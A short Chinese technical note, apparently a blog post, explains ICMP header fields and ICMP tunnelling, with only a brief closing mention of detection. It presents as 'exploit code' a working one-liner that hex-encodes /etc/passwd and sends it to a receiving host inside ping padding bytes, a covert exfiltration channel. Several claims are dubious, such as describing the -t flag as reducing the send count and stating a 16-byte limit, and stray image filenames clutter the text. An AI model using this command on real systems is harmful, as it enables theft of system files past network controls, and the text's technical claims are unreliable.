ICMP 协议栈

ICMP 协议栈架构

20170513005317177

类型 :14种,2大类,信息报文以及错误报文
代码:标识对应ICMP报文的代码。它与类型字段一起共同标识了ICMP报文的详细类型。
校验和:包括ICMP报文数据部分在内的整个ICMP数据报的校验和,以检验报文在传输过程中是否出现了差错。
标识:用于标识本ICMP进程,但仅适用于回显请求和应答ICMP报文,对于目标不可达ICMP报文和超时ICMP报文等,该字段的值为0。
选项:正常来说用a-i进行填充,在ICMP 协议栈种无明显长度限制,但是,正常来说一个PING里面有32个字节数据可以发送,但是有一点需要注意的,就是ping 会自动重复1次,也就是说,最终的利用ping进行发送数据的话,只能传输16字节以下的数据。过大的ping 在路由器上会进行阻隔。【 死亡之PING
identifying-powershell-tunneling-through-icmp-1

可以利用ping -p 利用pad 对他进行填充,也可以自己构造包发送。
为了防止 一些特殊情况 还可以 进行-t 减少发送次数

利用代码

cat /etc/passwd | xxd -p -c 2 | xargs -n 1 -I '{}' ping -c 1 -t 1 -p '{}' targetIP ; ping -c 1 -t 1 -s signal targetIP

ICMP 通道检测

检测选项长度以及内容
异常样本:identifying-powershell-tunneling-through-icmp-2